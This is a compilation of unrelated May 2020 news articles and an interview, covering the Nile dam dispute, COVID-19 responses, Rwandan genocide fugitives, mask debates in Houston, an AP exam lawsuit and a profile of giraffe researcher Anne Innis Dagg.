Ethiopia and Egypt, two of Africa's regional powers, have appealed to the United States, the United Nations and others to support their positions.

Ethiopia, Egypt and Sudan concluded technical talks without an agreement in January and then went to Washington for US-brokered talks.

Ethiopia later withdrew from the talks citing pressures to sign a deal and unfinished consultations back home.

The war of words between Ethiopia and Egypt has since escalated.

Ethiopia said it will start filling the dam in July when the rain starts, but Egypt has protested the move in a letter it sent to the UN Security Council.

Ethiopia also sent a letter to the UN body explaining its position.

Following Ethiopia's latest move, Egypt's foreign ministry said the return of the three parties to the negotiation table was agreed to complete the remaining simple part of the agreement on the filling and operation of the Grand Ethiopian Renaissance Dam.

Egypt added it is ready to reach to an agreement that preserves Egypt's water interests and equally takes into account the interests of both Ethiopia and Sudan.

The Blue Nile flows from Ethiopia into Sudan, where it joins the White Nile near the capital, Khartoum, to form the Nile River.

Some 85 per cent of the Nile waters originate from Ethiopia and the Blue Nile.

In a statement on May 19, UN Secretary-General Antonio Guterres encouraged the three countries to persevere with efforts to peacefully resolve any remaining differences.

The dam is now more than 73 per cent complete.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Source: Xinhua| 2020-05-23 02:13:57|Editor: huaxia

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NAIROBI, May 22 (Xinhua) -- The African Development Bank (AfDB) said on Friday it has approved 22 billion shillings (205 million U.S. dollars) loan to support Kenya's efforts to respond to the COVID-19 pandemic.

The AfDB said the loan will also help Kenya mitigate the related economic, health and social impacts.

"The next step will focus on helping build resilience for post-COVID-19," the Bank's acting director general for East Africa Nnenna Nwabufo said in a statement.

The lender said the loan will extend additional resources to Kenya as the country takes steps to contain the spread of the pandemic and deal with its unprecedented impact.

The bank's intervention will also be used to support the poor and vulnerable people who have been negatively affected by the pandemic.

Since Kenya's first COVID-19 infection was confirmed on March 13, cases have risen to 1,161, while the number of recoveries and deaths are 380 and 50, respectively, as of Friday.

Kenya says the pandemic which is placing significant pressure on an already stretched healthcare system, has disrupted supply chains and caused job losses in the tourism, hospitality, horticulture and airline industries, among others. Enditem
Grupo Modelo to produce special edition beer

Mexico City, Mexico  Grupo Modelo reported on Thursday that the company will brew a special edition beer with barley purchased from Mexican producers during the coronavirus pandemic. The announcement was made after the brewing company reached an agreement with farmers for the purchase of the crop.

According to the chamber of industry, Cerveceros de Mexico bought 180,000 tons of barley in the autumn-winter cycle, as requested by the Ministry of Agriculture and Rural Development.

We buy barley in this harvest so that thousands of farmers and their families can move on. With this barley, we will harvest a better tomorrow to develop a new variety of Model Beer that we can enjoy when we meet again, reported Alejandro Gutierrez, director of Premium Brands of the company.

This special edition, created by Mexican master brewers, will complement the Model Beer portfolio of Special Model, Black Model, Amber Model and Wheat Model, the firm announced in their statement.

The beer industry in Mexico generates more than 600,000 direct and indirect jobs, so Cerveza Modelo seeks to support more than 4,000 farmers and more than 12,000 families in the value chain of those who stopped operations due to the pandemic.

The situation that the beer industry is experiencing forced us to stop, but now more than ever, we demonstrate our commitment to the field, a key sector for the production of our products. We buy barley during this harvest so that thousands of farmers and their families can move forward, said Gutierrez.

Due to the health emergency, breweries in Mexico stopped operation and distribution April 5. This week it was announced that at least in Mexico City, the beer industry could resume operations in June, although the day was not specified. Grupo Modelo has a plant in the countrys capital.
The American Red Cross, community and government partners continue to support area residents evacuated from their homes in the path of rising flood waters.

Great Lakes Bay Region evacuees will find a safe place to stay, meals and basic health services in compliance with COVID-19 health and safety restrictions from public health officials.
KIGALI, Rwanda - One of Rwandas most wanted fugitives in the countrys genocide died 20 years ago, the international tribunal overseeing justice efforts announced Friday, less than a week after another high-profile fugitive was arrested in France.

Confirmation of the death of former Rwandan defence minister Augustin Bizimana came when a DNA test on remains in a grave in Pointe Noire, Republic of Congo, positively identified him, the International Residual Mechanism for Criminal Tribunals said. It is not yet known how he died.

Rwandan authorities say Bizimana was a key player in the 1994 genocide in which more than 800,000 Tutsi and Hutus who tried to protect them were killed.

The identification is the result of an exhaustive investigation by the Office of the Prosecutor combining advanced technology with extensive field operations, and involved exceptional co-operation with partner authorities in Rwanda, Congo Brazzaville, the Netherlands and the United States,  the United Nations mechanism said.

Some survivors found uncomfortable closure.

I wish he lived to face justice in court for his inhuman crimes before his death, said Denis Nsengiyumva, who comes from Bizimanas village.

But even in his death, Bizimana will not rest in peace.

News about the death came days after the arrest of Felicien Kabuga, another key genocide suspect who is accused of supplying machetes to killers and broadcasting propaganda urging mass slaughter.

Kabuga, a wealthy businessman, was arrested on Saturday outside Paris after 26 years in hiding. He appeared before a French court Wednesday but a decision on his fate was delayed until next week. His lawyer said the 84-year-old said Kabuga wishes to be tried in France, citing health reasons, but did not give details.

The UN tribunals prosecutor, Serge Brammertz, said a request had been launched for Kabugas transfer into UN custody and he could initially be held at The Hague rather than in Africa because of coronavirus travel restrictions.

Bizimana, who came from the same region as Kabuga, was appointed defence minister in 1993, months before the genocide started. He is accused of ordering the killing of prime minister Agathe Uwilingiyimana and 10 Belgian UN peacekeepers, and of supervising the killing of Tutsis in the provinces of Gisenyi, Ruhengeri, Butare, Kibuye and Cyangugu.

Uwilingiyimana was meant to be acting president after president Juvenal Habyarimanas plane was shot down over the capital, Kigali, sparking the 100-day genocide.

Bizimana was indicted by the UN International Criminal Tribunal for Rwanda in 1998, facing 13 counts including complicity in genocide, extermination, murder, rape and torture.

With the arrest of Kabuga and the confirmation of Bizimanas death, the Office of the Prosecutor has now accounted for two of the three major fugitives indicted by the tribunal.

The remaining one is Protais Mpiranya, former commander of the Presidential Guard of the Rwandan Armed Forces.
First, the presumption that black voters have no other choice  him or President Donald Trump  in the November election is just the kind of marginalization by the Democratic Party that black voters have stewed about for years. They can also stay home, or vote for neither of the above.
New Delhi: The Islamic holy month of Ramadan or Ramzan comes to an end with much-awaited Eid celebrations after a 30-day long fasting ritual, known as Rozas. Muslims across the globe eagerly wait for Eid to celebrate the festival with much gusto and fervour. Check moon sighting and chand raat live updates here.

Eid-ul-Fitr or Eid-al-Fitr marks the end of the 30-day period of fasting or Rozas. Eid-ul-Fitr is the first and only day in the month of Shawwal during which Muslims are not permitted to fast.

The day and date of Eid may vary depending upon different time zones and moon sighting.

Eid-ul-Fitr 2020 India Timings:

The date of Eid will be decided upon the moon sighting on May 23, Saturday, most likely. If the moon is sighted on that day, then Eid will be celebrated on May 24, Sunday. Otherwise, it will be on May 25, 2020 - Monday.

Ramzan or Ramadan falls on the ninth month of the Islamic calendar and holds a great significance for the Muslim community. During the holy month of Ramadan, Muslims observe fasts for 30 days marking it as a gesture to revere the first revelation of the Quran to Muhammad according to Islamic belief.

According to many beliefs, this annual observance is regarded as one of the Five Pillars of Islam. The month lasts for about 2930 days (usually a month) based on the visual sighting of the crescent moon, according to numerous biographical accounts compiled in the hadiths.

Ramadan word has Arabic root ramida or ar-ramad, which means scorching heat or dryness. It is believed that the holy book of Quran was written during this month. Thus, the people practise fasting in this month to purify their souls and seek forgiveness from the Almighty Allah.
Kara McIntyre remembers the day she likely contracted COVID-19  she wasnt wearing a face mask.

She was at Target and began to feel dizzy. Later she checked her temperature and had a fever. So she got tested for the novel coronavirus, and a few days later her results came back positive.

The 39-year-old radio deejay did not wear a face mask before she was infected in March, something she said she feels guilty about now.

I know I came in contact with a person who tested positive for it, McIntyre said. I wasnt going out much, but I put gas in my car, went to the grocery store. Knowing I went through that and may have gotten other people sick, thats terrifying.

As the state reopens restaurants, shopping malls, gyms and salons, whether or not to wear a mask has become a hot-button issue. To some, its a way to signal one has their neighbors health and well-being in mind. To others, its an inconvenience or an attack on American freedoms.

DIY: How to Make No-Sew, CDC-Approved Face Coverings

Government officials dont agree on the issue either. In late April, Harris County Judge Lina Hidalgo issued a mandatory mask order; within days it was overturned by Gov. Greg Abbott, who said Texans have every right to control (their) own path.

The Centers for Disease Control and Prevention recommends everyone wear a face mask in public, in addition to practicing social distancing and frequent hand washing. But the president and vice president are often photographed without them.

Face masks have become a divisive issue even in Houston, where residents are known for coming together during times of crisis like Hurricane Harvey, said Cathy Power, 51.

What I gather is that there is a narrative out there that masks are for the weak. This is wrong  masks are worn to protect others; they are not for protecting yourself, said Power, who lives in the East End, and suffers chronic health issues. They reduce the risk by keeping droplets from traveling as far as they would if you were not wearing a mask. It works best if we all wear them.

People wear masks to protect others around them as studies have shown it has little to do with our own ability to not be infected, said Dr. David Persse, Houstons health authority.

Take a mirror, breathe on it and see the mist that forms. If youre ill, the mist is full of virus, Persse said. Do the same thing with the mask in front of you; youll see far less of any mist on that mirror at all. Thats how it works.

Marie D. De Jesus, Houston Chronicle / Staff photographer

Kile Spelz, an independent sales consultant who splits her time between Houston and Florida, isnt convinced.

I dont trust anything, and I question everything, said Spelz, 39. I like to be cautious and careful, but Im not going to overreact to something that hasnt been proven.

Spelz does not wear a mask in public unless an employee at a business asks her to. When she does wear it, she doesnt cover her nose because it makes it harder to breathe, she said.

The face mask issue has caused an uptick in insensitivity, she said. People have questioned her choice to not wear a mask in public even though she said she has no problem with people who choose to wear one.

I think its more of a scare tactic to continue to push people to see what theyre willing to trade as far as their liberty, Spelz said. I think its an extra layer of control or influence from the government. Im a little bit of a constitutionalist. I like our freedoms and that people are taken care of, but we have to take care of ourselves first, so we can take care of others better.

NEED HELP?: Heres Houstons COVID-19 resource guide

In late March and early April, Houstonians were heeding officials calls to wear masks, Mayor Sylvester Turner said. Now, face mask compliance is on and off, he said. To increase the number of Houstonians wearing face masks or coverings in public, the city has launched a campaign called Mask Up.

The very same things we needed to do in March, April and the beginning of May to flatten the virus are the same things we have to continue to do to keep everyone safe, Turner said Wednesday. We say mask up to protect other people from you, especially when youre out and about with other individuals.

In The Woodlands, Brent Taylor ties a mask around his head every time he goes out into public. He can feel eyes on him as he roams the aisles at different stores, and one person offered to pray for him on a recent trip to Home Depot.

As a 32-year-old new dad, Taylor said its disrespectful for people like him not to wear masks in public. He is setting the example for his family by wearing one, he said.

Its very disconcerting and very disheartening to to see people get aggressive and politicized on this issue, he said. Im frustrated with people who are becoming hostile about it. It only takes one person to infect someone, and I can do my best and hopefully it will be enough to keep me and my family safe.

Melissa Phillip, Houston Chronicle / Staff photographer

Plenty of guys feel its their nature (to protect), so it seems more manly if you ask me.

If viral videos of aggressive shoppers and footage from Bolivar Peninsulas annual Go Topless Jeep Weekend are any indication, many have decided that PPE and social distancing are no longer priorities.

Persse said lackadaisical mask practices can be attributed to three things: misunderstanding the masks function, political agendas and people growing tired of wearing them.

Theyre right in that wearing masks does very little to protect you from someone around you  theyre loose-fitting masks, Persse said. Between the time someone inadvertently spreads the virus to somebody else, who then inevitably spreads it to other people, were going to be behind on that.

CORONAVIRUS: Before you go back out in public, read the immunity checklist

People with underlying medical conditions or who have been diagnosed with a chronic disease, like Power, who lives in the East End, are considered an at-risk group for the virus. Power wears leg braces to walk and hasnt left her home without a face mask since March. She has Charcot-Marie Tooth Disease, a hereditary neuromuscular disease that causes nerve damage and muscle disintegration over time.

A week ago, she read about 12-year-old Ernesto Guzman, another Charcot-Marie Tooth Disease patient, dying from the virus.

Since March 16, she has been to a grocery store only five times  all during the hours set aside for the elderly and those with disabilities or underlying conditions. Otherwise, she stays home or goes to work as an education administration assistant in an isolated office.

We are all in this together. I get it  its not comfortable, its getting hot outside, she said. But it is worth it if you help someone, and it makes a big difference for vulnerable populations.

julie.garcia@chron.com

Twitter.com/reporterjulie

RENEW HOUSTON: Get the latest wellness news delivered to your inbox
Continuamos con el apoyo a #Piura. Hoy, se envio 5 ventiladores y 28 890 equipos de proteccion personal, estos serviran para salvar vidas y cuidar a nuestros #HeroesDeLaSalud. Este trabajo se realizo a traves del Centro Nacional de Recursos Estrategicos en Salud (Cenares). pic.twitter.com/jx9nGiYyXE
Heritages Kay Coles James: On COVID 19 Economic Recovery and Protecting Both Lives & Livelihoods

How do we protect both the health and the livelihoods of Americans as we emerge out of this coronavirus outbreak?

How should America approach the re-opening of the economy?

And how has misguided compassion in our coronavirus response led to some unintended consequences?

In this episode, we sit down with Kay Coles James, President of The Heritage Foundation and chair of the National Coronavirus Recovery Commission. She has worked in the local, state, and federal levels of government, and she previously served as Director of the U.S. Office of Personnel Management under President George W. Bush.

This is American Thought Leaders , and Im Jan Jekielek.

Jan Jekielek: Kay Coles James, such a pleasure to have you on American Thought Leaders.

Kay Coles James: Well, thank you. It is a pleasure to be here.

Mr. Jekielek: So Kay, you are the head of the National Coronavirus Recovery Commission. Youre also the head of the Heritage Foundation. Youve put together a group of some of the most distinguished experts on issues related to recovery. Tell me, where are we at today in terms of this recovery process?

Ms. James: Yes. And thank you. It is an excellent commission. We were delighted to bring together, as your program implies, some of the best thought leaders, both on healthcare and on the economy, from all sectors of the economy. It is a racially, culturally diverse group. And the reason that was important to us is because this virus has such an impact on so many people in so many different ways, and it is a very complex issue and it required thoughtful people to come together, do the hard work of trying to figure out one of the most difficult problems this country has ever faced.

Where are we right now? Well, as you know, states are beginning to open up. The president has turned his attention, not away from the healthcare crisis; its still focused there, but also focusing on how to get this country open, running, and the economy going. All of us are very concerned that sometimes the cure might be worse than the disease. So, while people are suffering physically [and] theres a lot of hurt financially and emotionally, we dont think on this commission that it has to be either oreither lives or livelihoods. We have to, we must, protect both. And it makes sense; good health policy is good economic policy. Good economic policy is good health policy.

So were seeing the country begin to open up. Were hoping that they will follow the guidelines as they do that, and that it would be done safely so that we wont see another spike in the numbers on the health side.

Mr. Jekielek: Kay, so how is your commission working with this 200-person recovery panel that the president has put together?

Ms. James: Yes. As you may know, I am also a member of that panel. And as a result of that, we have a straight line into the policymakers at the White House. So we are taking the recommendations as we are producing them. We didnt wait till the end to produce one set. We are producing recommendations as we go along. And as soon as they are completed, I feed them into the larger commission at the White House, to the President, the Vice Presidents office, and to relevant cabinet secretaries. We also make sure that that information is available to the governors, all of them, to the leadership, and all the members and staff on Capitol Hill.

So this isnt one of those commission reports that is produced and then gathers dust. It is being used by policymakers already.

Mr. Jekielek: Fascinating. Let me try a difficult question here. At least this is difficult for me personally. I had Victor Davis Hanson on the show a little while ago, and one of the things that came out is a concern of many people out there; which is that the recommendations regarding coronavirus keep changing. For example: masks, [experts were saying] no masks, maybe masks, definitely masks. I mean, that was one example that he used. Theres many examples of this, and then of course, at the same time, never mind the recommendations that are coming from the federal government or state governments, theres also a whole series of more information thats going around in social media and so forth. How do we make sense of this from your view?

Ms. James: Well, first of all, I never miss an opportunity to say what a fan of Victors I am. He is extraordinary, and when he speaks, we all listen. But hes absolutely right. It is very confusing. We are hearing reports daily coming from the White House report. [inaudible], FDA, we hear the governor speaking, and we even have to sit through and listen to the telephone and conferences coming from the mayors.

So what do we do with all of that? Thats one of the reasons that we believe that our particular commission is so important. Its because we gather all of that data, all of that information, synthesize it and try to produce it in a format thats actually usable. And hes right. The advice that were being given changes, sometimes almost daily.

And I like to remind people that theres a reason that they call it the novel coronavirus. And thats because its brand new. What we know about this virus today is far more than what we knew in late February, early March or even April. And so the body of information and the knowledge base is growing. And so we have to extend a little grace to our policymakers, as they absorb this data as they research, do the fact-checking, do the analysis and try to make sense out of all of this. Were hoping that at the end of this process with our commission, we will have in one place, a good source where all of that information has been gatheredthe most up to date data, the most up to date information. But I think its important for the American people to understand, were in new territory. We are learning as we go. As the old adage says, were building the airplane as we fly it, and we just have to extend grace to our policymakers as they are struggling to catch up. And they will. They will catch up and we will have solid data and solid research that we can depend on, but give us time.

Mr. Jekielek: What do you make of President Trump taking hydroxychloroquine prophylactically?

Ms. James: I think its none of my business. [Thats] what I think. What the President does for his own personal health with his physician, thats their decision, their choice. And I dont understand why so many people find it necessary to opine about that. I do recognize that he is a leader. And that as a result of that people look to him and they want to either mimic what he does, or they take what he does seriously. But anyone with any grain of intelligence would have that conversation with their own physician and make the best choices for themselves.

Mr. Jekielek: Well, right, exactly. And obviously, these sorts of decisions are only made with the doctor helping figure out your particular health realities. I think this is something thats bizarrely often glossed over.

So let me go on this hydroxychloroquine vantage point a little bit further. Does the commission have a position on any of the potential treatments for coronavirus including hydroxychloroquine and the antiviral remdesivir?

Ms. James: We do not. We do have some physicians that actually serve on the commission. But that is not our role. We are not prescribers. We are not medical doctors, most of us. And so as a result of that, our recommendations, usually centered around doing the research so that we can get to the bottom of this and figure out what works, what doesnt work, and let physicians make those decisions with their patients.

Mr. Jekielek: Very interesting. It makes so much sense.

Ms. James: Not rocket science.

Mr. Jekielek: So you have recently published these 12 urgent recommendations just a few days ago and Im wondering if you could outline those for me. This is basically the newest position of the Commission, as I understand it.

Ms. James: It is.  First of all, allow businesses in counties with low incidents to reopen.  you know, this is a very diverse country. And so the decisions that are made in one state may not necessarily apply to another. It needs to get down to the county and even perhaps the zip code level and where there are high incidents, we should allow them to reopen as soon as possible.

We recommend using stay at home orders sparingly and only when necessary. And sometimes it may be that in a community that is a hotspot, that we do have stay at home orders. But maybe they could be more specific and aligned with those individuals that could most benefit from those stay at home ordersthe elderly, those with underlying conditions, and not applied to the entire population.

It makes sense to us that medical offices should be open. And I understand that in the early days, there was a concern about PPEs or the personal protection equipment, and they wanted to reserve that for those individuals who were on the front lines and so they shut everything down. We think those medical offices should get opened again. What one person views as elective surgeryif its your life, you may not view it as elective. We have patients suffering from cancer and other debilitating diseases that need to have their doctors appointments and to have their treatments.

We believe that this is a tremendous opportunity, and the president is already acting on this one, to use this as an opportunity to look at all the unnecessary regulations that we have in place. And were hoping that those that have been [relaxed] for a period of time, that we look seriously at them, and make a decision about whether or not those regulations should be gotten rid of entirely, particularly [the regulations that inhibited our pandemic response].

And Ill go through the others rather quickly: Expand our liability protections. The trial lawyers are lining up. And we think we need some liability protections in place for businesses and even churches as people are beginning to look at their lawsuits.

Congress is already looking at the Paycheck Protection Program and some tweaks that they may do to that. So were pleased about that.

Tax liability for small businesses; make legislation and regulatory changes to expand access to capital for small businesses, incentivize research and development and infrastructure investments. We think thats really going to help honor and enforce contractual insurance obligations. This virus has caused a lot of property damage and many businesses are getting their businesses interruption coverage, and we want to make sure that that insurance is available.

And eliminate all tariffs imposed since 2018. Trade freedom is absolutely vital to getting this country back on its economic footing. So in a nutshell, those are the things that we think are really urgent, should happen immediately, and would go a long way towards helping recovery economically.

Mr. Jekielek: The economy has been absolutely decimated by this voluntary economic destruction, so to speak. Lets pretend that we would implement all of these 12 items robustly, what is the time period to getting back to something like what we had before?

Ms. James: One of the things that I have learned from the expert economists that are serving on our commission is that even they hesitate to make those kinds of predictions. So I certainly wont, but we do know that the road to recovery is going to be a difficult one and probably longer than we anticipated initially. I dont think that the real economic damage that has been done to this country is as evident or clear as it should be to the American people. Some of these measures that need to happen and need to take place will take months and perhaps some even years before we are fully reestablished and returned.

But I am optimistic about that. I believe that with the economic policies of this administration, that given the opportunity to get this economy open and running again, I am very optimistic about the eventual outcomes.

Mr. Jekielek: A while back I remember reading a column which I thought was very interesting. It talked about a state where there were restaurants that were looking to get back into business. But it turned out that the unemployment insurance that the people were getting, that the workers at the restaurants was actually getting more than what they made before. So it was very hard for the owners to entice the people to go back to work. And the University of Chicagos Becker Friedman Institute released a report where theyre saying that the majority of people that are getting unemployment benefits, [those benefits] actually exceed the wages that they lost. In this kind of a scenario, how do people go back to work?

Ms. James: We need to fix that, and at the Heritage Foundation, were asking Congress to address that. Theres a phrase that I have used in other contexts, which I say the unintended consequences of your misguided compassion. You know, it was done for all the best and most compassionate reasons. But we know that it is best for the country, for the individual, for the businesses, to keep those individuals connected to their employers. And so when you institute policies, which are disincentives from going back to work, it really doesnt help anyone. And I think thats what were seeing right now with that particular policy. So were asking Congress to take a look at that and to put a fix in place so that it isnt more profitable to stay home and gather a check from the government than it is to go out and earn a paycheck.

And let me add quickly to that, because I think its important to say. I would dare say most people would rather work than sit at home and gather a check. I dont think this is a problem of blaming the worker, I think it is a policy problem and it needs to be fixed. People enjoy the motivation of getting up, getting dressed, going to work being useful and contributing to our country. So it needs to be fixed, but not because we want to punish the worker, but because its just good economic policy.

Mr. Jekielek: What do you make of this new stimulus package which is being proposed at present thats being discussed?

Ms. James: Well, as I said around the virtual Mothers Day dinner table as we celebrated by way of some of the technology that exists today: I hate to think of what Im doing to my grandchildren with the amount of that debt, to my great-grandchildrenbecause they will be assuming that. It is out of control. I think, and at Heritage, we talk about the fact that anything that we do should be targeted, should be limited to the coronavirus and should be transparent so that the American people can see exactly where that money is going.

It disturbs me greatly that every crazy liberal program is seizing upon the opportunity to fund it on the backs of coronavirus victims. This is not an opportunity to open the government coffers and fund every liberal experiment. Its just not right. We as a people, we as Americans, are generous. We are kind; we want to help each other. That should be evident. But whats happening through that bill is anything but. Well, its not a bill yet, but the suggestions of where the House Democrats want to take that. Its mind-boggling. And I think we have to take a firm stand and make sure that we are not contributing even more to the debt for our children, our grandchildrenand the numbers are so high nowour great-grandchildren.

Mr. Jekielek: Okay, let me jump back to the point that stuck out to me from the 12 that we were discussing earlier, which was the 2018 tariffs. Im thinking of course about tariffs pertaining to China, the ones Im most familiar with. The purpose of the tariffs wasnt to stop free trade, but to create a more free playing field. The argument is that the Chinese Communist Party has stacked things in its favor, dramatically abusing the rules of free trade, for its own benefit. So these tariffs are supposed to even the playing field. Ive heard arguments back and forth in both directions. So Im wondering, are you talking about those tariffs? Are you talking about something else?

Ms. James: Well were talking about the fact that so many US jobs are at stake here. And as we look at our tariff policy, we need to make sure that we are doing things that bring those jobs back home; of course, free trade, of course fair trade. And were talking more specifically about the administration removing section 201 and section 232 and section 301; those tariffs that would benefit all parties. We think that that would be a good policy move to make at this particular point in time.

Mr. Jekielek: So here we are in this very interesting moment. We have Georgia, which is opened up completely.

Ms. James: I dont think thats entirely fair, because the governor, when you say open up completely, that implies to people without any safety precautions in place. So they have opened up, but I think that the governor has done it responsibly by saying that where it makes sense, we still have to have social distancing and wearing a mask, and still encouraging us to use good health protocols by washing their hands and doing all the things that we know. So we say open up, but to open up safely. And all indications are thats whats happened in Georgia. So I think that caveat always has to be put in.

Mr. Jekielek: No, absolutely. And thanks for mentioning that. The new normal isnt going to be exactly like what was in the past. I think thats a very good point youre making.

Ms. James: You know, it isnt for a while, and I think all of us have got to come to terms with that. So what that means is that we will be changing how we operate, how we do business. We will be requiring things from clients as they come and go in our buildings in our restaurants in our offices, and its going to be that way for a while. And thats whats coming to be known as the new normal.

I think that there is a tendency of some of us to see that as an infringement upon our personal liberties and freedoms and responsibilities; I more than anyone am concerned about what I have seen from some of our government officials, as they have been overbearing, overreaching, autocratic, and have assumed upon themselves authority which they just do not have, constitutionally.

Thats not what Im talking about here. Im talking about what your grandmother told you anyway. Your grandmother told you to cover your mouth when you cough, your grandmothers said wash your hands frequently and often. And so, with a few more of those common sense health things added to our daily rituals, I think we can get this country open and running again, using common sense, using courtesy. We can do this.

Mr. Jekielek: Heritage Foundation supports deregulation, youre supporting small business, and you see small business as the engine of building the country upam I reading that right?

Ms. James: Oh, you certainly are. We really do believe that the small businesses in this country are the backbone of this country. And we know that so many people have their pathway to their dreams through opening up their businesses. So thats Main Street in America and we care desperately about them and their ability to operate and get their business up and running again.

Mr. Jekielek: What is your advice? What would you say to the millions of small business owners right now who are suffering and are concerned that theyre not going to make it?

Ms. James: You know, thats a tough one for me because just looking at the data, I can tell you, some of them are not going to make it. But even if they dont, I have such hope and such aspiration for those individuals who out of true grit, put together a business and got it going.

Its difficult. Im not gonna say were all in the same boat because were not. Some are suffering more than others. But I think that with the things that make this country great; the ability to have a dream and to see it to fruition, even if it fails in a time like this, we as a country have got to surround those businesses, those individuals, be there. Im hoping that the capital and liquidity opens up so that they can start over if necessary. I have great hope; I have great optimism about the future, but its not going to be without some very, very, very tough and dark days. But sometimes its darkest right before the dawn. So I am an eternal optimist. What can I say?

Mr. Jekielek: Youve spoken a bit to the folks that are worried that were staying hunkered down too long. What would you say to the people that are worried that we dont want to open too fast, or more people will die?

Ms. James: Certainly, and I understand that. I am in one of those high-risk categories. I am over 70. I have some underlying health issues. I get it. I understand how important it is. And Im going to do everything that I can to protect my health. And I would encourage them to do that.

But I have never lived in fear. And Ive never let anxiety rule. And so as a result of that, I think we have to go forward in confidence and in recognizing that there will be some risk involved. But you know, if we do what this commission is suggesting, that we protect lives and livelihoods, I think that we can get this country back on track. I know of individuals, and know personally people who have suffered horribly because of this disease; its nothing that I would wish on my worst enemy. And I wish people, some people would take that a little more seriously. But I also recognize the horrible, horrible situation that some of our individuals are going through financially and with their businesses. Theres no easy answer here. All I know is we must protect lives and we must protect livelihoods. And we can and we must, we must do both.

Mr. Jekielek: Some powerful words. Any final words before we finish up?

Ms. James: No, except that this is a great country. Weve come through worse than this before. And I tend to be optimistic because I love the ideal that is America and I love the American spirit. Its going to be difficult, difficult, difficult, but were going to get through this.

Mr. Jekielek: Kay Coles James, such a pleasure to have you on the show.

Ms. James: Oh, thank you. The pleasure is mine.

This interview has been edited for clarity and brevity.

American Thought Leaders is an Epoch Times show available on Facebook and YouTube and The Epoch Times website.
College Board Hit With $500 Million Lawsuit Over Online AP Exams Glitches

College Board, the organization that administers the new online version of the Advanced Placement (AP) exams, now faces lawsuit from students who experienced trouble submitting their answers because of technical glitches.

The class-action lawsuit, filed in a federal court on behalf of thousands of students across the United States, alleges the College Board breached its contract, was negligent, and violated the Americans with Disabilities Act, among other issues. It also demands the College Board pay more than $500 million as compensation and score their answers instead of requiring them to take the rigorous tests again in June.

The AP tests are typically three hours long and taken in schools designated as test locations. As a result of the COVID-19 pandemic and the subsequent closure of schools, the College Board developed a 45-minute open-note version that can be taken online at home. The first ever online AP tests raised almost immediate complaints about issues such as some test-takers not being able to submit answers, while others even failed to log on to the testing platform.

Given the wide variety of devices and browsers students are using, we anticipated that a small percentage of students would encounter technical difficulties, the College Board said in a press release on May 12, the second day of this years AP tests.

We have a makeup window in June, so students have another opportunity to test, said the College Board, acknowledging that less than one percent of the more than a million students who took the tests encountered technical difficulties.

The plaintiffs of the suit, however, allege that College Board knew ahead of time that students would encounter technical problems and should therefore accept the students answers, as long as they have proof they were completed last week by timestamp, photo, and email.

The College Board rushed untested AP computerized exams into the marketplace in order to preserve the testing companys largest revenue-generating program after schools shut down this spring, even though they were warned about many potential access, technology and security problems, said Bob Schaeffer, interim executive director at FairTest, a non-profit organization promoting fair standardized testing, and one of the plaintiffs in the suit.

Even if only 1 percent of test-takers could not transmit their answers because the College Boards technology was not ready for prime time, at least 20,000 students were affected, said Schaeffer.

Each year, millions of high school students take over 30 different AP exams that cover a wide range of subjects from U.S. History to music theory, Spanish literature, and macroeconomics. The cost of an AP exam is generally between $100 and $150 per test. In 2018, the College Board earned over $480 million dollars from the AP program alone, according to the lawsuit.

High school students who take the AP tests need at least a score of 3, 4, and 5 to pass. Students can exchange the passing scores into college credits in corresponding subjects, and thus save on tuition.
Shes 87 now, happily shuttered in her townhouse on the fringes of a Waterloo retirement community, self-isolating with 1,000 books.

But Anne Innis Dagg  the trail-blazing zoologist known as the Jane Goodall of Giraffes  has lived through this once before.

Seventy six years ago, when she was 11, the plucky preteen contracted scarlet fever and, in the custom of the time, was quarantined for a month, alone.

I was on the fourth floor of an isolation hospital near the Don River, she notes in a joint phone call with her daughter, Mary Dagg. I was the only one.

Her family came to visit on her birthday, and just like families during the current pandemic, they stood on the street below her window and waved.

I remember looking down on them, little things, recalls the woman who made the study of giraffes her lifes work. I guess they were all crying. It was weird.

Shes not prone to fits of sentiment  that becomes clear early in our conversation.

A bastion of no-nonsense practicality, the freshly minted Order of Canada member never had that luxury, reaching her goals with an indomitable can-do spirit and ability to see the bright side.

I never thought I would die, she offers without hesitation. I just thought this was a good chance to get some reading done.

But this was 1944 Toronto. With a world war raging and austerity on the home front, Dagg found herself limited to one book.

But that book  A Girl of the Limberlost  provided a focal point for her entire life.

It was the only book I had for months, she confides as Mary, well acquainted with details of her mothers life, listens in surprise.

I just kept reading it, I guess. She was a girl who was doing wonderful things, so maybe that got into my system. She was a very valiant person.

Keep in mind the acclaimed 2018 doc  The Woman Who Loves Giraffes  scrutinized Daggs life in detail, delving into every nook and cranny of her 80-something years.

Yet somehow, Gene Stretton-Porters 1909 novel about a self-reliant teenager who overcomes obstacles to pursue her lifes dream hasnt come up until now, in a phone call with a reporter curious how Dagg managed to survive self-isolation the first time around.

I just remember she could do whatever she wanted, she notes of the early-century heroine who grows up on Indiana swampland. And without thinking about it I thought Well, I should be able to do that too!

She pauses, delighted by the sudden resurgence of this forgotten memory.

I think that might be a really good thing that got me going  (voice rising with excitement)  that could be the whole thing!

If nothing else, it demonstrates the power of a focused mind during a period of forced isolation and the resiliency of an 11-year-old girl with a steely, determined spirit.

One thing is for sure: when Anne Innis Dagg emerged from isolation four weeks later, she knew what she wanted to do with her life.

And what she wanted, more than anything, was to study giraffes.

Theyre just lovely  even how they walk, notes the author of several acclaimed books on the subject.

Theyre just beautiful and symmetrical. Its just one of those things: you fall in love with something and you cant stop.

And so, in 1956  an era of grey flannel suits, sexist stereotyping and female drudgery  the 23-year-old adventurer gave the middle finger to propriety and, over the misgivings of family and friends, headed off to South Africa to become the first person to study giraffes in the wild.

If I want to do something, I decide Ill do it, no matter what, she recounts in her cheerful, plain-speaking way.

A lot of people would have given up, because its a lot of effort. But I wasnt thinking about the rest of the world.

When she returned home a year later to write books and pursue a career in academia, she found doors slammed in her face at Wilfrid Laurier University, University of Waterloo and University of Guelph because, it was made clear, women had no place in the ivory tower.

These rejections, which denied her the tenure that would have enabled further research, altered the trajectory of her life.

I think I should have been recognized right from the beginning and I could have got much more done, she notes of these missed opportunities, for which most institutions have since issued apologies.

I dont want it to happen ever again that women are told they dont have a chance to show their work.

As is her nature, she rallied against this institutional hypocrisy with books, papers and a complaint to the Ontario Human Rights Commission.

But they were, in the end, lost years professionally. And as she recounts their demoralizing impact, there is pain in her voice.

I was making excuses for not being better than I am, she says of the shame she felt when her career aspirations were shot down.

Everyone thought I was lying, that it couldnt be possible that I went to study giraffes on my own. So I just changed the subject.

